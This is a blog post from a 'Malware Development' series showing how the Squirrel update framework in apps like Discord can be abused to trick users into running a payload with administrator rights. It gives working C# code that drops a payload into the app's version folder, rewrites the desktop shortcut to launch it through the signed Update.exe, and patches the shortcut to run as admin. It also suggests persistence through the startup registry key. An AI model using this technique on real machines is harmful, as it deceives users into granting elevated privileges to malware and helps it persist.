Malware Development
  • Using Squirrel Framework to escalate privileges
  • 🕵️Bypassing HitmanPro.Alert Credential-Theft protection
  • ☢️Exploring a Security Flaw in Malwarebytes
Powered by GitBook
On this page
  • Introduction
  • How it works
  • Finding the latest version of the app package
  • Placing our payload on the latest app package directory
  • Change the Shortcut
  • Other usages
  • Conclusion

Using Squirrel Framework to escalate privileges

NextBypassing HitmanPro.Alert Credential-Theft protection

Last updated 9 months ago

Introduction

The is a widely used tool for managing software installation and updates in Windows desktop applications.

Many popular applications use Squirrel for installation and updates, including (but not only):

  • Discord

  • GitHub Desktop

  • Atom

  • Postman

  • WhatsApp

  • Exodus

Because of the way it's built, we can abuse it to try and trick the user into escalating privileges.

A key aspect of this is that most applications sign their Squirrel update binaries, which gives an extra layer of legitimacy to the attack.

In this example we will check Discord, which uses Squirrel for updating.

How it works

By checking out the Desktop shortcut that is created during installation, we can see an interesting argument passed to the Update.exe

The argument --processStart as per the documentation "Start an executable in the latest version of the app package".

So what if we place a payload in the app directory, change the shortcut an run it?

Our payload runs!

So to create our little POC we need a few things:

  1. Find the latest version of the app package.

  2. Place our payload on the latest app package directory.

  3. Change the Shortcut to lunch our payload instead of the discord binary.

Finding the latest version of the app package

The latest version of the app is inside a file located on: %localappdata%\Discord\packages\RELEASES

If we check the contents of this file, we have something like this: 230E51FC4929ACDC6DF44F0BA88B82316DDC97BF discord-updater-1.0.9013.nupkg 166474477

What we need is this value here: 1.0.9013, to do this we can use regex and extract it:

private static string GetLatestVersion(string rootDirectory)
{
    string fileName = Path.Combine(rootDirectory, "packages", "RELEASES");

    if (!File.Exists(fileName))
    {
        return string.Empty;
    }

    string content = File.ReadAllText(fileName);
    string pattern = @"\d+\.\d+\.\d+";

    Match match = Regex.Match(content, pattern);

    if (match.Success)
    {
        return match.Value;
    }

    return string.Empty;
}

The rootDirectory is the root directory of discord: %localappdata%\Discord

Placing our payload on the latest app package directory

private static void CopyPayload(string payloadPath, string rootDirectory) 
{ 
    string latestVersion = GetLatestVersion(rootDirectory);
    if (!File.Exists(payloadPath))
    {
        return;
    }
    
    File.Copy(payloadPath, Path.Combine(rootDirectory, $"app-{latestVersion}", Path.GetFileName(payloadPath)), true);
}

Change the Shortcut

We first need to change the argument passed to --processStart, to now point to our payload, in addition if we want to do this without breaking the start of discord, our payload should also be able to then call discord.exe to not arouse suspicion, hence the using of --process-start-args, the value here will be passed to our payload as an argument.

private static void ChangeShortcut(string shortcutPath, string payloadName, string exeToRun) 
{ 
    IWshShortcut shortcut = (IWshShortcut)new WshShell().CreateShortcut(shortcutPath);
    shortcut.Arguments = $"--processStart {payloadName} --process-start-args=\"{exeToRun}\"";
    shortcut.Save();
}

We should also set the shortcut to run as admin, since normally they will not. There is a cool trick where changing the byte with index 21 to the value 34 will set it to run as admin.

private static void SetAdmin(string shortcutPath) 
{
    if (!File.Exists(shortcutPath)) { return; }
    byte[] fileBytes = File.ReadAllBytes(shortcutPath);
    fileBytes[21] = 34;
    
    File.WriteAllBytes(shortcutPath, fileBytes);
}

Our final code will be something like this:

static void Main(string[] args)
{
    string discordPath = Path.Combine(LocalAppData, "Discord"); 
    string payload = "SimpleSquirellTest.exe";
    string discordShortcut = "Discord.lnk";
    
    SetAdmin(discordShortcut);
    CopyPayload(payload, discordPath);
    ChangeShortcut(discordShortcut, payload, "Discord.exe");
}

If you want to see a different version of this code that tries to "weaponize" this, check:

In this project I try to search for desktop apps that use Squirrel and modify or create the desktop shortcut for them.

Other usages

This can indirectly be used for a sneaky persistence. When you enable Discord to run at system startup, the same command that is in the shortcut is added to the registry.

You could just rename discord binary to other thing and name your own to Discord.exe, the downside is that it would only work until discord updates.

Another possible usage, if no app is not present on the target machine, could be to bring those signed binaries with you and run them by creating the "app-VERSION" folder and placing your payload there.

When the user sees a UAC prompt from Discord or WhatsApp apps instead of one from an unknown and unsigned app, you might just get lucky.

Conclusion

The Squirrel framework is widely adopted due to its ease of handling updates for desktop applications, but its design opens up potential risks for privilege escalation.

As we’ve demonstrated with Discord, attackers can exploit signed binaries to make their actions appear legitimate, tricking users into unknowingly elevating privileges.

Squirrel framework
GitHub - miltinhoc/squirrel-framework-sneaky: Using Squirrel Framework to trick a user and escalate privilegesGitHub
Logo
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Page cover image